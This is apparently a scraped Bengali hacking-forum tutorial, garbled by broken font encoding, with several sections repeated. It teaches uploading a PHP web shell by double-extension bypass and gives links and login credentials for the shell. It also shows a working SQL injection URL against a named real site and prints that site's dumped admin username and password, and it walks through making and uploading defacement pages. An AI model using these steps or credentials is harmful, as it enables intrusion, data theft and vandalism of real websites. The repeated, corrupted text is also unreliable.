password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
